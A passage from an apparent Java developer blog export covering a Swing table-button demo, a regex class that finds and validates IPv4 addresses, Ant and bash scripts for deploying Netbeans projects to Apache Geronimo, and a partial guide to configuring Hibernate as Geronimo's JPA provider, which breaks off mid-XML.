public String getSurname()
{
return surname;
}
}
/** EmployeeTableModel.java **/
package demotablebutton;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.util.HashMap;
import java.util.Map;
import javax.swing.JButton;
import javax.swing.table.AbstractTableModel;
public class EmployeeTableModel extends AbstractTableModel
{
private static final Employee[] employees = new Employee[] {
new Employee("Quintin", "Beukes"),
new Employee("Anita", "Geber"),
new Employee("Gavin", "Classen"),
new Employee("Arie", "Kruger")
};
private Map<Employee, JButton> buttons = new HashMap<Employee, JButton>();
private EmployeeButtonHandler handler;
public EmployeeTableModel(EmployeeButtonHandler handler)
{
this.handler = handler;
}
@Override
public String getColumnName(int column)
{
switch (column)
{
case 0:
return "Name";
case 1:
return "Surnam";
case 2:
return "Options";
}
return "#invalid";
}
@Override
public boolean isCellEditable(int rowIndex, int columnIndex)
{
return true;
}
@Override
public Class<?> getColumnClass(int columnIndex)
{
if (columnIndex == 2)
{
return JButton.class;
}
else
{
return String.class;
}
}
public int getRowCount()
{
return employees.length;
}
public int getColumnCount()
{
return 3;
}
public Object getValueAt(int rowIndex, int columnIndex)
{
switch (columnIndex)
{
case 0:
return employees[rowIndex].getName();
case 1:
return employees[rowIndex].getSurname();
case 2:
return getCellButton(employees[rowIndex]);
}
return "#invalid";
}
private JButton getCellButton(Employee employee)
{
JButton button = buttons.get(employee);
if (button == null)
{
button = createButton(employee);
buttons.put(employee, button);
}
return button;
}
private JButton createButton(final Employee employee)
{
final JButton button = new JButton("Get Fullname");
button.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e)
{
handler.buttonClicked(employee);
}
});
return button;
}
public static interface EmployeeButtonHandler
{
public void buttonClicked(Employee e);
}
}
/** TableButtonRenderer.java **/
package demotablebutton;
import java.awt.Component;
import java.util.Map;
import java.util.WeakHashMap;
import javax.swing.AbstractCellEditor;
import javax.swing.JButton;
import javax.swing.JTable;
import javax.swing.table.TableCellEditor;
import javax.swing.table.TableCellRenderer;
public class TableButtonRenderer extends AbstractCellEditor
implements TableCellRenderer, TableCellEditor
{
private Map<String, JButton> renderButtons = new WeakHashMap<String, JButton>();
public Component getTableCellRendererComponent(JTable table, Object value,
boolean isSelected, boolean hasFocus, int row, int column)
{
JButton button = (JButton)value;
JButton renderButton = renderButtons.get(button.getText());
if (renderButton == null)
{
renderButton = new JButton(button.getText());
renderButtons.put(button.getText(), renderButton);
}
return renderButton;
}
public Object getCellEditorValue()
{
return null;
}
public Component getTableCellEditorComponent(JTable table, Object value,
boolean isSelected, int row, int column)
{
return (JButton)value;
}
}
</pre>
<br />
<br />
<div class="zemanta-pixie">
<img alt="" class="zemanta-pixie-img" src="https://img.zemanta.com/pixy.gif?x-id=780178ff-f208-8a7f-9f16-e631c3701e2e" /></div>
</div>
Anonymoushttp://www.blogger.com/profile/17358536805065354053noreply@blogger.com0tag:blogger.com,1999:blog-3694842005173898380.post-85418617850187423932009-09-12T19:09:00.000+02:002017-12-03T11:58:53.610+02:00Regular Expression for IP Address Search and Extract<div xmlns="http://www.w3.org/1999/xhtml">
<span style="font-style: italic;">Note: This is not an explanation on how to discover the Internet IP address of the machine/network you are browsing from. If what you want to do is find out this IP address, rather visit </span><a href="http://www.ip-details.com/" style="font-style: italic;">http://www.ip-details.com/</a><span style="font-style: italic;"> or </span><a href="http://www.whatismyip.com/" style="font-style: italic;">http://www.whatismyip.com/</a><span style="font-style: italic;">.</span><br />
<br />
Regular expressions are extremely useful for working with strings, especially validating and searching through strings. The Regular Expression is a way to define a pattern, which a parser would use to match strings.<br />
<br />
The following snippet is a Java class, which provides static methods for searching through a given string for IP addresses. It will only match valid IP addresses, so it's very useful in this sense. On top of this it has a static method which validates a given string to be a valid IP address. Note that it defines valid IP address as 4 numbers in the range 0 to 255 separated by dots (.). That means the strings "0.0.0.0" and "255.255.255.255" is also seen as valid IP addresses. So it's not to check the validity or usefulness of an IP, but merely to match strings which can pass as an IP according to it's structure.<br />
<br />
I provided the class below, with a main() method for demonstrating it's use.<br />
<pre>import java.util.ArrayList;
import java.util.List;
import java.util.Set;
import java.util.TreeSet;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class IPFinder
{
private static final String IP_SEPERATOR = "(\\p{Space}|\\p{Punct})";
private static final String IP_COMPONENT = "(1?[0-9]{1,2}|2[0-4][0-9]|25[0-5])";
private static final Pattern IP_PATTERN = Pattern.compile("(?<=(^|[" + IP_SEPERATOR +
"]))(" + IP_COMPONENT + "\\.){3}" + IP_COMPONENT + "(?=([" + IP_SEPERATOR + "]|$))");
private List<String> ips;
/**
* Constructs a new IPFinder for the given string
* @param s
*/
public IPFinder(String s)
{
ips = findIPAddresses(s);
}
/**
* @return the list of IPs found in the String supplied during construction
*/
public List<String> getIPs()
{
return ips;
}
/**
* @return the list of unique IPs found in the String supplied during construction
*/
public Set<String> getUniqueIPs()
{
return new TreeSet<String>(ips);
}
/**
* Utility method to extract IP addresses, non unique
* @param s
*/
public static Set<String> findUniqueIPAddresses(String s)
{
return new TreeSet<String>(findIPAddresses(s));
}
/**
* Utility method to extract IP addresses, non unique
* @param s
*/
public static List<String> findIPAddresses(String s)
{
List<String> ips = new ArrayList<String>();
Matcher m = IP_PATTERN.matcher(s);
while (m.find())
{
String ip = m.group();
ips.add(ip);
}
return ips;
}
/**
* Validates an IP address
* @param ip
* @return true if it's a valid IP address
*/
public static boolean isValidIP(String ip)
{
return IP_PATTERN.matcher(ip).matches();
}
/**
* Test
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception
{
/* This string contains the IPs that should be matched:
* 10.85.0.1
* 182.54.233.31
* 192.168.0.1
* 41.43.132.23
* 0.0.0.0
* 255.255.255.255
* 127.0.0.0
* 127.0.0.1
* 127.0.0.2
* 10.0.0.0
* 10.255.255.255
* 172.16.0.0
* 172.31.255.255
* 192.168.0.0
* 192.168.255.255
* 196.38.192.23
*
* And one string in the format of an IP that shouldn't be matched:
* 918.343.54.123
* 32.256.241.23
*/
String s =
"An IP address consists of 4 bytes, which when represented in a readable form\n" +
"is done so by the numeric value of each byte, separated by a dot (.).\n" +
"An few examples would be: 10.85.0.1, 182.54.233.31, 192.168.0.1\n" +
"and 41.43.132.23. Since each component is a byte, their ranges would be from 0\n" +
"to 255. So valid IPs are in the range 0.0.0.0 to 255.255.255.255. Though neither of\n" +
"these 2 is valid themselves. So if you see an IP address on the CSI show like\n" +
"918.343.54.123, then you know it's not valid because it's individual components\n" +
"contain numbers that are too large for bytes. Another example which is very close\n" +
"to but still not a match would be: 32.256.241.23.\n" +
"\n" +
"The IP address for your local machine is 127.0.0.1.\n" +
"127.0.0.1 is called the loopback ip, and is associated with virtual interface\n" +
"interface to allow you to do network type communications without having\n" +
"to involve your physical network device. Most operating systems allow\n" +
"any communicatations to 127.0.0.0 IPs to be treated as loopback IPs, and thus\n" +
"you can run software bound to different loopback IPs as if you are running\n" +
"the on different machines. So if you want to have 2 different programs run\n" +
"on the same port and communicte to them via loopback, you can have the first\n" +
"listen on the port for IP 127.0.0.1 and the other on the same port for 127.0.0.2\n" +
"and then just communicate to them on these IPs.\n" +
"\n" +
"Further, you get private network IPs like the class A 10.0.0.0 to 10.255.255.255,\n" +
"the class B 172.16.0.0 to 127.31.255.255, and the class C 192.168.0.0 to 192.168.255.255.\n" +
"All other IPs like 196.38.192.23 is public internet IPs assigned by an authority like\n" +
"AfriNic.";
System.out.println("In the paragraph:");
System.out.println("---------------------------------------------------------------------------");
System.out.println(s);
System.out.println("---------------------------------------------------------------------------");
System.out.println();
IPFinder finder = new IPFinder(s);
Set<String> ips = finder.getUniqueIPs();
System.out.println("We found these " + ips.size() + " ips:");
for (String ip : ips)
{
System.out.println(" -> " + ip);
}
System.out.println();
String[] checkIPs = new String[] {
"32.256.241.23",
"918.343.54.123",
"192.168.10.5"
};
for (String ip : checkIPs)
{
System.out.println(ip + " is a valid IP: " + isValidIP(ip));
}
}
}</pre>
<br />
<br />
<div class="zemanta-pixie">
<img alt="" class="zemanta-pixie-img" src="https://img.zemanta.com/pixy.gif?x-id=6c74f70a-5cbe-8ce7-8283-f899fee43e88" /></div>
</div>
Anonymoushttp://www.blogger.com/profile/17358536805065354053noreply@blogger.com2tag:blogger.com,1999:blog-3694842005173898380.post-71172496359377522672009-09-05T01:52:00.000+02:002017-12-03T11:59:28.300+02:00Deploying to Geronimo from your Netbeans ProjectI used to be a major Eclipse fan. I thought Netbeans was useless and featureless. It certain has less Java editing features compared to Eclipse, which has brilliant ones like the Java Search and it's refactoring functions, but it's got a much better design and is more rounded off. So it's not as messy and over done as Eclipse tends to be. Take for an example Eclipse's RCP framework. If you've ever done RCP programming in Eclipse you would have noticed that they went too far in making things declarative and this leads to inconsistencies sometimes, like when you want to add menu items. In some cases you have can do it declarative but in certain cases you need to do it with code, and in even other cases you need to mix the 2.<br />
<br />
I prefer to keep things consistent. This allows you to document things more clearly and for new programmers (and even yourself in a few months) to not waste too much time getting up to speed with every small things he runs into. The Netbeans RCP is brilliant. It's got a clean design and layout, and integrates well into the IDE's other features like the JavaEE Application Client and GUI builder. Further Netbeans specialized plugins are maybe not an attempt at long features lists, but they're stable and do their purpose well. They offer everything you need to complete your task. Eclipse tends to have so many features, that none of them are production quality yet. And they tried to abstract things to such a degree, that certain features feel "loose" and not well integrated.<br />
<br />
But the point is not to compare Netbeans and Eclipse.<br />
<br />
Customizing the Netbeans Build Process<br />
Eclipse has a Geronimo plugin, something which Netbeans does not have yet. There are some projects for Geronimo Netbeans plugins, but they're all dead. It does seem like the 6.8 Netbeans will have the ability to add a Geronimo server though. But until then you need to make other plans when trying to integrate the Geronimo deploy process into your Netbeans projects.<br />
<br />
Netbeans has another great feature which makes this easier. In Netbeans your projects are built with ant. The IDE generates a file called "nbproject/build-impl.xml", and this is where all the build logic is found. Though in the root of your project you will find the standard "build.xml". It's this build.xml file which includes the generated build file. To allow for build customization, the generated build file has a couple of empty ant targets, which you can override in your build.xml. There are pre/post targets for all the different tasks performed by the user, such as clean, compile, package, etc. You can also override the main build targets, though you would have to implement them if you don't want to break them.<br />
<br />
So, if you wanted to do obfuscate your class files, you can override the "-post-compile" target, and run the obfuscate task, like so:<br />
<pre> <target name="-post-compile">
<obfuscate>
<fileset dir="${build.classes.dir}">
</fileset>
</obfuscate>
</target></pre>
So, to integrate into the Geronimo deploy process, we will modify our build.xml. When you create your project, just create it with any "local" server. I use Glassfish 2 since it shipped with my Netbeans download. We will not be using Glassfish, since we're overriding the behaviour of the ant targets. When Netbeans deploys a project it executes the "run-deploy" task, so this is where we'll hook into. Also note that these instruction will only work on Linux (or other Unixes), since I have an "isdeployed.sh" script to make it easier to check if an application is deployed. I'll find a more portable way to do it at another time, and if you do it, please send along your changes. For the mean time though, I did add instructions to the end to get a more limited deployment for those users who aren't developing on *nix.<br />
<br />
Deploying to Geronimo<br />
First step is to create a file called "geronimo-ant-deploy.xml" next to your "build.xml", and give it the following contents: <br />
<pre><?xml version="1.0" encoding="UTF-8"?>
<project name="geronimo-ant-deploy" default="geronimo-init" basedir=".">
<dirname property="basedir.geronimo-ant-deploy" file="${ant.file.geronimo-ant-deploy}"/>
<property file="nbproject/project.properties"/>
<property file="${basedir.geronimo-ant-deploy}/geronimo-ant-deploy.properties"/>
<target name="geronimo-init">
<property name="geronimo.deploy-name" value="${deploy.moduleId} (${deploy.module})"/>
<condition property="geronimo.init.dependencies-satisfied">
<and>
<isset property="deploy.plan" />
<isset property="deploy.module" />
<isset property="deploy.moduleId" />
</and>
</condition>
<condition property="geronimo.is-deployed">
<and>
<isset property="deploy.disable-deploy-check"/>
<equals arg1="${deploy.disable-deploy-check}" arg2="deployed"/>
</and>
</condition>
<fail unless="geronimo.init.dependencies-satisfied">
Failed to deploy:
1. You need to set the deploy.plan property to the path to the deploy plan .xml file
(Current Value: ${deploy.plan})
2. You need to set the deploy.module property to the path to the module (archive) to deploy
(Current Value: ${deploy.module})
3. You need to set the deploy.moduleId property to the Geronimo module ID for this project.
You can find the required value for this in ${deploy.plan} (deploy.plan) as the <dep:moduleId> tag,
and it would be in the form: groupId/artifactId/version/type
</fail>
</target>
<target name="geronimo-check-deployed" depends="geronimo-init" unless="deploy.disable-deploy-check"
description="Checks if the app has been deployed">
<echo>Checking if module ${geronimo.deploy-name} is already deployed</echo>
<exec dir="${geronimo.home}" executable="${geronimo.bin}/${geronimo.isdeployed}"
resultproperty="geronimo.check-module">
<arg line="${deploy.moduleId} --user ${geronimo.user} --password ${geronimo.pwd}"/>
</exec>
<condition property="geronimo.check-succeeded">
<or>
<equals arg1="${geronimo.check-module}" arg2="255"/>
<equals arg1="${geronimo.check-module}" arg2="0"/>
</or>
</condition>
<fail unless="geronimo.check-succeeded">
Failed to check if module ${geronimo.deploy-name} is already deployed
</fail>
<condition property="geronimo.is-deployed">
<equals arg1="${geronimo.check-module}" arg2="0"/>
</condition>
</target>
<!-- UNDEPLOY -->
<target name="geronimo-not-undeploy" depends="geronimo-check-deployed" unless="geronimo.is-deployed"
description="Handles the case of the application not being deployed when trying to undeploy">
<echo>Module is not currently deployed. Not undeploying module ${geronimo.deploy-name}.</echo>
</target>
<target name="geronimo-do-undeploy" depends="geronimo-check-deployed" if="geronimo.is-deployed"
description="Undeploying webapp in geronimo action">
<echo>Undeploying ${geronimo.deploy-name}</echo>
<exec dir="${geronimo.home}" executable="${geronimo.bin}/${geronimo.deploy}" failonerror="true">
<arg line="--user ${geronimo.user} --password ${geronimo.pwd} undeploy ${deploy.moduleId}"/>
</exec>
<echo>Undeployed ${geronimo.deploy-name}</echo>
</target>
<target name="geronimo-undeploy"
depends="geronimo-init,geronimo-check-deployed,geronimo-not-undeploy,geronimo-do-undeploy"
description="Undeploying webapp in geronimo entry point">
</target>
<!-- DEPLOY -->
<target name="geronimo-newdeploy" depends="geronimo-check-deployed" unless="geronimo.is-deployed"
description="Deploying new webapp in geronimo action">
<echo>Not deployed, deploying new application ${geronimo.deploy-name}</echo>
<exec dir="${geronimo.home}" executable="${geronimo.bin}/${geronimo.deploy}" failonerror="true">
<arg line="--user ${geronimo.user} --password ${geronimo.pwd} deploy ${basedir}/${deploy.module} ${basedir}/${deploy.plan}"/>
</exec>
<echo>Deployed ${geronimo.deploy-name}</echo>
</target>
<target name="geronimo-redeploy" depends="geronimo-check-deployed" if="geronimo.is-deployed"
description="Redeploying webapp in geronimo action">
<echo>Already deployed, redeploying ${geronimo.deploy-name}</echo>
<exec dir="${geronimo.home}" executable="${geronimo.bin}/${geronimo.deploy}" failonerror="true">
<arg line="--user ${geronimo.user} --password ${geronimo.pwd} redeploy ${basedir}/${deploy.module} ${basedir}/${deploy.plan}"/>
</exec>
<echo>Deployed ${geronimo.deploy-name}</echo>
</target>
<target name="geronimo-deploy"
depends="geronimo-init,geronimo-check-deployed,geronimo-newdeploy,geronimo-redeploy"
description="Deploying webapp in geronimo entry point">
</target>
</project></pre>
Then, in the same directory, create a file called "geronimo-ant-deploy.properties", and give it the following contents (updating them to suite your installation):<br />
<pre>kms.home=/opt
geronimo.home=${kms.home}/server/geronimo
geronimo.url=http://localhost:8080/
geronimo.bin=${geronimo.home}/bin
geronimo.lib=${geronimo.home}/lib
geronimo.user=system
geronimo.pwd=manager
geronimo.start=startup.sh
geronimo.stop=shutdown.sh
geronimo.deploy=deploy.sh
geronimo.isdeployed=isdeployed.sh</pre>
Lastly, in your Geronimo installation directory (the one listed in geronimo.home above), create a file called "isdeployed.sh" in the "bin" subdirectory, with the following contents:<br />
<pre>#!/bin/bash
if [ "$2" = "" ]; then
echo "Usage: $0 <moduleName> <deploy.sh arg1>..<deploy.sh argN>" >&2
echo "After the module name you wish to check, you need to supply any other options you wish to " >&2
echo "Pass onto the deploy.sh script (like the username/password)" >&2
exit 2
fi
MODULE="$1"
WD=`dirname $0`
DEPLOY="$WD/deploy.sh"
shift
if [ "$MODULE" = "list" ]
then
"$DEPLOY" "$@" list-modules
exit 0
fi
if "$DEPLOY" "$@" list-modules | egrep -q "^ . $MODULE"
then
exit 0
else
exit 255
fi</pre>
Remember to make the isdeployed.sh script executable. You can do so by running from the command prompt: chmod a+x /path/to/geronimo/bin/isdeployed.sh<br />
<br />
So now that you've setup the basics for Geronimo deployment you need to configure your project. First thing you need to do is change your build.xml file to the following:<br />
<pre><project name="MyEJBProject" default="default" basedir="."
ejbjarproject="http://www.netbeans.org/ns/j2ee-ejbjarproject/3">
<description>Builds, tests, and runs the project MyEJBProject.</description>
<import file="nbproject/build-impl.xml"/>
<import file="geronimo-ant-deploy.xml"/>
<target name="run-deploy" depends="dist,geronimo-deploy">
</target>
</project</pre>
As you can see above, we include the geronimo-ant-deploy.xml (which has the necessary targets for deploying to Geronimo), and then we override "run-deploy" and configure it to first run "dist" so the JAR is built, and the the "geronimo-deploy" target.<br />
<br />
Finally we need to configure the Geronimo deployment by setting some properties in your project. In the project's "nbproject" subdirectory, open the "project.properties" file. Then at the end add the following 3 properties:<br />
<pre>deploy.module=${dist.jar}
deploy.plan=${meta.inf}/geronimo-ejb.xml
deploy.moduleId=user/MyEJBProject/1.0/jar</pre>
These properties are basically described as follows:<br />
<ul>
<li> deploy.module - the path to that JAR archive you wish to deploy</li>
<li>deploy.plan - the path to your Geronimo deploy plan .xml file</li>
<li>deploy.moduleId - the module ID of your project. This is needed to check if a module is deployed or not. This is basically the moduleId as defined in your deploy plan, taking the form of: group/artifact/version/type</li>
</ul>
Once you've completed these steps you can use the standard Netbeans "Deploy" action to deploy your project to a local Geronimo instance.<br />
<br />
Modifying for using in Windows<br />
Since we need the "isdeployed.sh" script to check if a project is deployed, you can't run the above on Windows "as-is". You do have a couple of options though.<br />
<br />
1. The easiest is probably to use the following "geronimo-ant-deploy.xml" file instead of the one given above:<br />
<pre><project name="geronimo-ant-deploy" default="geronimo-init" basedir=".">
<dirname property="basedir.geronimo-ant-deploy" file="${ant.file.geronimo-ant-deploy}">
<property file="nbproject/project.properties">
<property file="${basedir.geronimo-ant-deploy}/geronimo-ant-deploy.properties">
<target name="geronimo-init">
<property name="geronimo.deploy-name" value="${deploy.moduleId} (${deploy.module})">
<condition property="geronimo.init.dependencies-satisfied">
<and>
<isset property="deploy.plan">
<isset property="deploy.module">
<isset property="deploy.moduleId">
</isset>
</isset>
<fail unless="geronimo.init.dependencies-satisfied">
Failed to deploy:
1. You need to set the deploy.plan property to the path to the deploy plan .xml file
(Current Value: ${deploy.plan})
2. You need to set the deploy.module property to the path to the module (archive) to deploy
(Current Value: ${deploy.module})
3. You need to set the deploy.moduleId property to the Geronimo module ID for this project.
You can find the required value for this in ${deploy.plan} (deploy.plan) as the <dep:moduleId> tag,
and it would be in the form: groupId/artifactId/version/type
</fail>
</isset>
<!-- UNDEPLOY -->
<target name="geronimo-undeploy" depends="geronimo-init"
description="Undeploying webapp in geronimo entry point">
<echo>Undeploying ${geronimo.deploy-name}</echo>
<exec dir="${geronimo.home}" executable="${geronimo.bin}/${geronimo.deploy}" failonerror="true">
<arg line="--user ${geronimo.user} --password ${geronimo.pwd} undeploy ${deploy.moduleId}">
</arg>
<echo>Undeployed ${geronimo.deploy-name}</echo>
</exec>
<!-- DEPLOY -->
<target name="geronimo-deploy" depends="geronimo-undeploy"
description="Deploying webapp in geronimo entry point">
<echo>Deploying new application ${geronimo.deploy-name}</echo>
<exec dir="${geronimo.home}" executable="${geronimo.bin}/${geronimo.deploy}" failonerror="true">
<arg line="--user ${geronimo.user} --password ${geronimo.pwd} deploy ${basedir}/${deploy.module} ${basedir}/${deploy.plan}">
</arg>
<echo>Deployed ${geronimo.deploy-name}</echo>
</exec>
</target>
</project></pre>
<br />
2. Alternatively, to keep the conditional deploy/redeploy functionality might be desired, because they a redeploy executes in a single step. For this you can make your own Windows version of "isdeployed.sh" and then modify the appropriate targets in the build file to use your's instead. You can leave the script almost intact by using the Windows version of egrep. Though I'm not sure how you would return success/failure/error levels to ant. At the very least you can possibly return success/failure, which should be sufficient. For this you just need to check for "0" return code as "project is deployed" and all non-zero return codes as "not deployed".<br />
My version above has 3 return levels which is "0" for "deployed", "255" for "not deployed" and any other code for "error". In case of an "error" I would cease the build process with a <fail> task, though this is not crucial for getting the script to run.<br />
<br />
3. You can also use Cygwin to run the script inside a "virtual Unix" environment.<br />
<br />
So, this is how I manage my Geronimo projects through Netbeans. If you get stuck, drop me a message and I'll see where I can help out.Anonymoushttp://www.blogger.com/profile/17358536805065354053noreply@blogger.com2tag:blogger.com,1999:blog-3694842005173898380.post-32921782683162372822009-09-05T00:50:00.000+02:002017-12-03T11:59:35.316+02:00Geronimo - Using Hibernate as your JPA providerSo we started a redev of a JavaEE project, and I decided to use Geronimo as the application server. Geronimo uses OpenEJB for it's EJB container, and I guess this was my biggest motivator. OpenEJB is truly a brilliant project. I also replaced Toplink with Hibernate for the persistence.<br /><br />The justification of Hibernate was definitely maturity. It's much faster that EclipseLink/Toplink and definitely less buggy. I've had too many problems with Toplink to ever willingly use it again where I have a better option. To get Hibernate integrated into Geronimo wasn't easy though. It's the first time I use Geronimo to this degree. Previously I just ported a small project to Geronimo which had nothing more than a JMS queue and an MDB. To get Hibernate running in Geronimo isn't difficult, though I didn't know how, and thus struggled a bit. So this entry will be my second one describing how to use a specific persistence framework in OpenEJB.<br /><br /><big><b>Deploying Hibernate in Geronimo</b></big><br />The basic idea on using Hibernate is too deploy the dependencies and setup a special transaction manager. This explanation was based on Hibernate 3.3. So first get hold of:<br /><ul><li>Hibernate Distribution 3.3.2</li><li>Hibernate Annotations 3.4.0, and<br /></li><li>Hibernate EntityManager 3.4.0</li></ul>Then extract the archives, and retrieve from the extracted directories the following JAR files. I recommend you copy them into a temporary directory for easier maintenance while deploying Hibernate as a JPA provider.<br /><ul><li>Hibernate Distribution<br /><ol><li>hibernate3.jar</li><li>lib/required/antlr-2.7.6.jar</li><li>lib/required/commons-collections-3.1.jar</li><li>lib/required/dom4j-1.6.1.jar</li><li>lib/required/javassist-3.9.0.GA.jar</li><li>lib/required/jta-1.1.jar</li><li>lib/required/slf4j-api-1.5.8.jar</li></ol></li><li>Hibernate Annotations<br /><ol><li>hibernate-annotations.jar</li><li>lib/ejb3-persistence.jar</li><li>lib/hibernate-commons-annotations.jar</li><li>lib/slf4j-api.jar<br /></li></ol></li><li>Hibernate EntityManager<br /><ol><li>hibernate-entitymanager.jar</li></ol></li></ul>Since the current Geronimo (2.1) uses OpenEJB 3.0, you need to create a Hibernate Transaction Manager Lookup class and add it as a dependency to be used wherever we use Hibernate. For this I'll explain how to do it as you would in Netbeans. If you use another development method/IDE, adapt appropriately.<br /><ol><li>Start a new Java Class Library project and call it GeronimoTransactionManager.</li><li>Create a class "org.hibernate.transaction.GeronimoTransactionManagerLookup".</li><li>Paste the following code into this new class.<br /><pre>package org.hibernate.transaction;<br /><br />import java.util.Properties;<br />import java.util.Set;<br />import javax.transaction.TransactionManager;<br />import org.apache.geronimo.gbean.AbstractName;<br />import org.apache.geronimo.gbean.AbstractNameQuery;<br />import org.apache.geronimo.kernel.Kernel;<br />import org.apache.geronimo.kernel.KernelRegistry;<br />import org.hibernate.HibernateException;<br />import org.hibernate.transaction.TransactionManagerLookup;<br /><br />public class GeronimoTransactionManagerLookup implements TransactionManagerLookup<br />{<br /> public static final String UserTransactionName = "java:comp/UserTransaction";<br /><br /> public TransactionManager getTransactionManager(Properties props) throws HibernateException<br /> {<br /> try<br /> {<br /> Kernel kernel = KernelRegistry.getSingleKernel();<br /> AbstractNameQuery query = new AbstractNameQuery(TransactionManager.class.getName());<br /> Set<AbstractName> names = kernel.listGBeans(query);<br /> if (names.size() != 1)<br /> {<br /> throw new IllegalStateException("Expected one transaction manager, not " + names.size());<br /> }<br /> AbstractName name = names.iterator().next();<br /> TransactionManager transMg = (TransactionManager) kernel.getGBean(name);<br /> return (TransactionManager) transMg;<br /> }<br /> catch (Exception e)<br /> {<br /> e.printStackTrace();<br /> System.out.println();<br /> throw new HibernateException("Geronimo Transaction Manager Lookup Failed", e);<br /> }<br /> }<br /><br /> public String getUserTransactionName()<br /> {<br /> return UserTransactionName;<br /> }<br />}<br /></pre></li><li>Then under the project's properties, make sure "JDK 5" is selected in the "Source/Binary Format" drop down on the "Sources" property page.<br /></li><li>Before closing the project properties dialog, goto Libraries and add all the Hibernate JAR files we listed above to your classpath by clicking the "Add JAR/Folder" button and selecting all of them. If you are using Netbeans you might already have a "Hibernate JPA" library configured in the IDE, so in this case you can instead click the "Add Library" button and select "Hibernate JPA" from the list. We only need the our class to compile against Hibernate, so it doesn't matter if you don't use the exact version we will be deploying into Geronimo. As long as the API is the same, you should be able to safely compile against any Hibernate 3.3 JARs.</li><li>Then you need to add one more JAR as a library. This will be the Geronimo kernel jar, which you can find in the Geronimo distribution directory under: repository/org/apache/geronimo/framework/geronimo-kernel/2.1.4/geronimo-kernel-2.1.4.jar<br /></li><li>Confirm the properties dialog by pressing the "OK" button.<br /></li><li>Now build the project and find the GeronimoTransactionManager.jar file in the project's "dist" directory.</li><li>This is the JAR we will use when adding repository resources to Geronimo in the next step, so put it with the rest of the Hibernate JAR files you collected above.<br /></li></ol>Now we will deploy the resources to Geronimo. When you add a JAR resource, you do so on the web console under the Services->Repository portlet. You select the JAR file by clicking the 'Browse' button and then enter the 4 details, nl. Group, Artifact, Version and Type. After you've added it, Geronimo will add them to it's "repository" as: group/artifact/version/type/{artifact}-{version}.jar. Internally it's ID will be "group/artifact/version/type". I will use this format when referring to them, so upload each of the following JAR files using this format to determine which values should go into each field.<br /><ul><li>hibernate3.jar - hibernate/core/3.3/jar<br /></li><li>lib/required/antlr-2.7.6.jar - hibernate/antlr/2.7.6/jar</li><li>lib/required/commons-collections-3.1.jar - hibernate/commons-collections/3.1/jar</li><li>lib/required/dom4j-1.6.1.jar - hibernate/dom4j/1.6.1/jar</li><li>lib/required/javassist-3.9.0.GA.jar - hibernate/javassist/3.9.0.GA/jar</li><li>lib/required/jta-1.1.jar - hibernate/jta/1.1/jar</li><li>hibernate-annotations.jar - hibernate/annotations/3.4/jar</li><li>lib/ejb3-persistence.jar - hibernate/jpa/3.0/jar</li><li>lib/hibernate-commons-annotations.jar - hibernate/commons-annotations/3.4/jar</li><li>hibernate-entitymanager.jar - hibernate/entitymanager/3.4/jar</li><li>GeronimoTransactionManager.jar - hibernate/GeronimoTransactionManager/1.0/jar<br /></li></ul>Now that you've setup all the dependencies you can create your EJB project. All you need to do is<br /><ol><li>Create a JDBC pool through the Geronimo console (in this example called: console.dbpool/jdbc_myDatabasePool/1.0/rar)</li><li>List the following dependencies in your EJB project's deploy plan (geronimo-ejb.xml):<br /><ul><li>Your JDBC pool</li><li>All the Hibernate dependencies we added above</li><li>Geronimo's "slf4j-api" dependency in your deploy plan.In Geronimo 2.1.4 it's called: org.slf4j/slf4j-api/1.4.3/jar<br /></li></ul>You can goto the Service->Repository portlet and click on a resource to see it's usage. When building a deploy plan it's the quickest way to add dependencies. Would be great if the Geronimo developers can make a generic dependency builder to generate the deploy plan, like the one they have when building WAR deploy plans. You EJB deploy plan would look something like this:<br /><pre><?xml version="1.0" encoding="UTF-8"?><br /><openejb-jar xmlns="http://openejb.apache.org/xml/ns/openejb-jar-2.2"<br /> xmlns:naming="http://geronimo.apache.org/xml/ns/naming-1.2"<br /> xmlns:sec="http://geronimo.apache.org/xml/ns/security-2.0"<br /> xmlns:dep="http://geronimo.apache.org/xml/ns/deployment-1.2"><br /><br /> <dep:environment><br /> <dep:moduleId><br /> <dep:groupId>user</dep:groupId><br /> <dep:artifactId>MyHibernateEJB</dep:artifactId><br /> <dep:version>1.0</dep:version><br /> <dep:type>jar</dep:type><br /> </dep:moduleId><br /><br /> <dep:dependencies><br /> <dep:dependency><br /> <dep:groupId>console.dbpool</dep:groupId><br /> <dep:artifactId>jdbc_myDatabasePool</dep:artifactId><br /> <dep:version>1.0</dep:version><br /> <dep:type>rar</dep:type><br /> </dep:dependency><br /> <dep:dependency><br /> <dep:groupId>hibernate</dep:groupId><br /> <dep:artifactId>core</dep:artifactId><br /> <dep:version>3.3</dep:version><br /> <dep:type>jar</dep:type><br /> </dep:dependency><br /> <dep:dependency><br /> <dep:groupId>hibernate</dep:groupId><br /> <dep:artifactId>annotations</dep:artifactId><br /> <dep:version>3.4</dep:version><br /> <dep:type>jar</dep:type><br /> </dep:dependency><br /> <dep:dependency><br /> <dep:groupId>hibernate</dep:groupId><br /> <dep:artifactId>antlr</dep:artifactId><br /> <dep:version>2.7.6</dep:version><br /> <dep:type>jar</dep:type><br /> </dep:dependency><br /> <dep:dependency><br /> <dep:groupId>hibernate</dep:groupId><br /> <dep:artifactId>commons-annotations</dep:artifactId><br /> <dep:version>3.4</dep:version><br /> <dep:type>jar</dep:type><br /> </dep:dependency><br /> <dep:dependency><br /> <dep:groupId>hibernate</dep:groupId><br /> <dep:artifactId>commons-collections</dep:artifactId><br /> <dep:version>3.1</dep:version><br /> <dep:type>jar</dep:type><br /> </dep:dependency><br /> <dep:dependency><br /> <dep:groupId>hibernate</dep:groupId><br /> <dep:artifactId>dom4j</dep:artifactId><br /> <dep:version>1.6.1</dep:version><br /> <dep:type>jar</dep:type><br /> </dep:dependency><br /> <dep:dependency><br /> <dep:groupId>hibernate</dep:groupId><br /> <dep:artifactId>entitymanager</dep:artifactId><br /> <dep:version>3.4</dep:version><br /> <dep:type>jar</dep:type><br /> </dep:dependency><br /> <dep:dependency><br /> <dep:groupId>hibernate</dep:groupId><br /> <dep:artifactId>javassist</dep:artifactId><br /> <dep:version>3.9.0.GA</dep:version><br /> <dep:type>jar</dep:type><br /> </dep:dependency><br /> <dep:dependency><br /> <dep:groupId>hibernate</dep:groupId><br /> <dep:artifactId>jpa</dep:artifactId><br /> <dep:version>3.0</dep:version><br /> 